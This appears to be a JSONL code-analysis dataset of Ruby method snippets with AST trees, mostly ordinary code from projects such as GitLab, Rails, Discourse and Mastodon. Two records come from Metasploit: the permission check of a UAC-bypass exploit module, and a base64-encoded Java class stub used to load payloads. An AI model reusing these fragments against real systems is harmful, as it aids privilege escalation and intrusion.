{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups_controller.rb","start_line":356,"raw_source":"def user_actions\n    @notification_setting = current_user.notification_settings_for(group) if current_user\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"ivasgn\",\"children\":[\"@notification_setting\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"notification_settings_for\",{\"type\":\"send\",\"children\":[null,\"group\"]}]}]},null]}]}","id":"eb6bf072-eadf-490a-9c75-da5573f5bb64"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/csat_survey_listener.rb","start_line":10,"raw_source":"def message_updated(event)\n    message = extract_message_and_account(event)[0]\n    return unless message.input_csat?\n\n    CsatSurveys::ResponseBuilder.new(message: message).perform\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"message_updated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_message_and_account\",{\"type\":\"lvar\",\"children\":[\"event\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"input_csat?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CsatSurveys\"]},\"ResponseBuilder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},\"perform\"]}]}]}","id":"7e20eba2-e6d7-4c3d-9649-759a1ea61c09"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/models/message_event.rb","start_line":136,"raw_source":"def ==(o)\n      return true if self.equal?(o)\n      self.class == o.class &&\n          project_id == o.project_id &&\n          event_id == o.event_id &&\n          timestamp == o.timestamp &&\n          level == o.level &&\n          message == o.message &&\n          release == o.release &&\n          environment == o.environment &&\n          platform == o.platform\n    end","complexity_score":56.6,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"equal?\",{\"type\":\"lvar\",\"children\":[\"o\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"project_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"event_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"timestamp\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"timestamp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"level\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"level\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"release\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"release\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"environment\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"platform\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"platform\"]}]}]}]}]}","id":"7585ac73-e237-45ff-a909-508b18d9c402"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email_cook.rb","start_line":92,"raw_source":"def cook(opts = {})\n    # fallback to PrettyText if we failed to detect a body\n    return PrettyText.cook(@raw, opts) if @body.nil?\n\n    result = htmlify(@body)\n    result << \"\\n<br>\" << @attachment_html if @attachment_html.present?\n    result << \"\\n<br><br>\" << Email::Receiver.elided_html(htmlify(@elided)) if @elided.present?\n    result\n  end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"cook\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"cook\",{\"type\":\"ivar\",\"children\":[\"@raw\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"htmlify\",{\"type\":\"ivar\",\"children\":[\"@body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attachment_html\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n<br>\"]}]},\"<<\",{\"type\":\"ivar\",\"children\":[\"@attachment_html\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@elided\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n<br><br>\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"Receiver\"]},\"elided_html\",{\"type\":\"send\",\"children\":[null,\"htmlify\",{\"type\":\"ivar\",\"children\":[\"@elided\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"00b19eac-c7b3-47ee-a202-ee56d30b4d0f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/delivery_failure_tracker.rb","start_line":26,"raw_source":"def clear_failures!\n    redis.del(exhausted_deliveries_key)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_failures!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"del\",{\"type\":\"send\",\"children\":[null,\"exhausted_deliveries_key\"]}]}]}","id":"4938944c-709d-4779-a89e-c385c515a89d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb","start_line":127,"raw_source":"def check_permissions!\n    unless check == Exploit::CheckCode::Appears\n      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')\n    end\n    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?\n    # Check if you are an admin\n    # is_in_admin_group can be nil, true, or false\n    print_status('UAC is Enabled, checking level...')\n    vprint_status('Checking admin status...')\n    admin_group = is_in_admin_group?\n    if admin_group.nil?\n      print_error('Either whoami is not there or failed to execute')\n      print_error('Continuing under assumption you already checked...')\n    elsif admin_group\n      print_good('Part of Administrators group! Continuing...')\n    else\n      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')\n    end\n\n    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]\n      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')\n    end\n  end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check_permissions!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Target is not vulnerable.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_admin?\"]},{\"type\":\"send\",\"children\":[null,\"is_system?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"None\"]},{\"type\":\"str\",\"children\":[\"Already in elevated state\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"UAC is Enabled, checking level...\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Checking admin status...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"admin_group\",{\"type\":\"send\",\"children\":[null,\"is_in_admin_group?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_group\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Either whoami is not there or failed to execute\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Continuing under assumption you already checked...\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_group\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Part of Administrators group! Continuing...\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Not in admins group, cannot escalate with this module\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_integrity_level\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INTEGRITY_LEVEL_SID\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"low\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Cannot BypassUAC from Low Integrity Level\"]}]},null]}]}]}","id":"aa805766-da31-45c6-b0ea-d2f2814e8e74"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/date_helper.rb","start_line":714,"raw_source":"def time_tag(date_or_time, *args, &block)\n        options  = args.extract_options!\n        format   = options.delete(:format) || :long\n        content  = args.first || I18n.l(date_or_time, format: format)\n\n        content_tag(\"time\", content, options.reverse_merge(datetime: date_or_time.iso8601), &block)\n      end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"time_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date_or_time\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"extract_options!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"format\"]}]},{\"type\":\"sym\",\"children\":[\"long\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"l\",{\"type\":\"lvar\",\"children\":[\"date_or_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"reverse_merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date_or_time\"]},\"iso8601\"]}]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"c0f84eb5-f8b8-4a59-8d55-5a2608b37e4d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241024142756_topic_cache_markdown_field.rb","start_line":7,"raw_source":"def up\n    with_lock_retries do\n      add_column :topics, :cached_markdown_version, :integer, null: false, default: 0, if_not_exists: true\n      add_column :topics, :description_html, :text, null: true, if_not_exists: true\n    end\n\n    add_text_limit :topics, :description_html, 50_000\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"topics\"]},{\"type\":\"sym\",\"children\":[\"cached_markdown_version\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"topics\"]},{\"type\":\"sym\",\"children\":[\"description_html\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"topics\"]},{\"type\":\"sym\",\"children\":[\"description_html\"]},{\"type\":\"int\",\"children\":[50000]}]}]}]}","id":"54f05537-74d5-4889-8520-54d71ea7a89c"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":2003,"raw_source":"def test_assert_performed_with_failure_with_global_id_args\n      ricardo = Person.new(9)\n      wilma = Person.new(11)\n      error = assert_raise ActiveSupport::TestCase::Assertion do\n        assert_performed_with(job: HelloJob, args: [wilma]) do\n          HelloJob.perform_later(ricardo)\n        end\n      end\n      assert_match(\"No performed job found with #{{ job: HelloJob, args: [wilma] }}\", error.message)\n      assert_match(/Potential matches:.*Person.* @id=\"9\"/, error.message)\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_performed_with_failure_with_global_id_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ricardo\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wilma\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\",{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_performed_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wilma\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"ricardo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No performed job found with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wilma\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Potential matches:.*Person.* @id=\\\"9\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"72706052-7b10-49b2-89a5-698412ada631"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/utilities/url_props_parsing_helper.rb","start_line":34,"raw_source":"def resolve_page_size(string)\n        resolved_value = to_i_or_nil(string)\n        # a page size of -1 is a magic number for the maximum page size value\n        if resolved_value == -1 || resolved_value.to_i > maximum_page_size\n          resolved_value = maximum_page_size\n        end\n        resolved_value\n      end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_page_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resolved_value\",{\"type\":\"send\",\"children\":[null,\"to_i_or_nil\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolved_value\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolved_value\"]},\"to_i\"]},\">\",{\"type\":\"send\",\"children\":[null,\"maximum_page_size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resolved_value\",{\"type\":\"send\",\"children\":[null,\"maximum_page_size\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"resolved_value\"]}]}]}","id":"307a092b-f114-4ca6-a129-460666312170"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/brakeman.rb","start_line":149,"raw_source":"def test_version_between_longer\n    assert_equal false, version_between?(\"1.0.1.2\", \"1.0.0\", \"1.0.1\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_version_between_longer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"1.0.1.2\"]},{\"type\":\"str\",\"children\":[\"1.0.0\"]},{\"type\":\"str\",\"children\":[\"1.0.1\"]}]}]}]}","id":"67f34cd7-fdad-4fc2-ac99-89be4c6cc40e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/java/http/class_loader.rb","start_line":112,"raw_source":"def constructor_class\n    klass = Rex::Text.decode_base64(\n      <<~EOF\n        yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAN\n        U3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9u\n        AQAKTWV0YXNwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQB\n        AARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgA\n        AAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgAB\n        BwALAAAA\n      EOF\n    )\n\n    # Replace length-prefixed string \"Metasploit\" with a random one\n    klass.sub(\"\\x00\\x0aMetasploit\", packed_class_name)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"constructor_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"decode_base64\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAN\\n\"]},{\"type\":\"str\",\"children\":[\"U3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9u\\n\"]},{\"type\":\"str\",\"children\":[\"AQAKTWV0YXNwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQB\\n\"]},{\"type\":\"str\",\"children\":[\"AARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgA\\n\"]},{\"type\":\"str\",\"children\":[\"AAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgAB\\n\"]},{\"type\":\"str\",\"children\":[\"BwALAAAA\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"sub\",{\"type\":\"str\",\"children\":[\"\\u0000\\nMetasploit\"]},{\"type\":\"send\",\"children\":[null,\"packed_class_name\"]}]}]}]}","id":"545f408a-7f64-4fa4-9a5f-97a9c2d4cb4b"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/import_export/importer_spec.rb","start_line":13,"raw_source":"def import(data)\n    ImportExport::Importer.new(data).perform\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ImportExport\"]},\"Importer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"perform\"]}]}","id":"8f57b1ff-d3b5-4161-8dd0-28f66c15e5ae"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":197,"raw_source":"def test_default\n    david = developers(:david)\n    jamis = developers(:jamis)\n\n    model = Class.new(ActiveRecord::Base) do\n      self.table_name = \"ships\"\n      def self.name; \"Temp\"; end\n      belongs_to :developer, default: -> { david }\n    end\n\n    ship = model.create!\n    assert_equal david, ship.developer\n\n    ship = model.create!(developer: jamis)\n    assert_equal jamis, ship.developer\n\n    ship.update!(developer: nil)\n    assert_equal david, ship.developer\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"jamis\",{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"jamis\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"str\",\"children\":[\"ships\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Temp\"]}]},{\"type\":\"send\",\"children\":[null,\"belongs_to\",{\"type\":\"sym\",\"children\":[\"developer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"david\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ship\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"david\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"developer\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ship\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer\"]},{\"type\":\"lvar\",\"children\":[\"jamis\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"jamis\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"developer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"david\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"developer\"]}]}]}]}","id":"d31a697e-1d3e-4867-806a-01c3c348a9fb"}
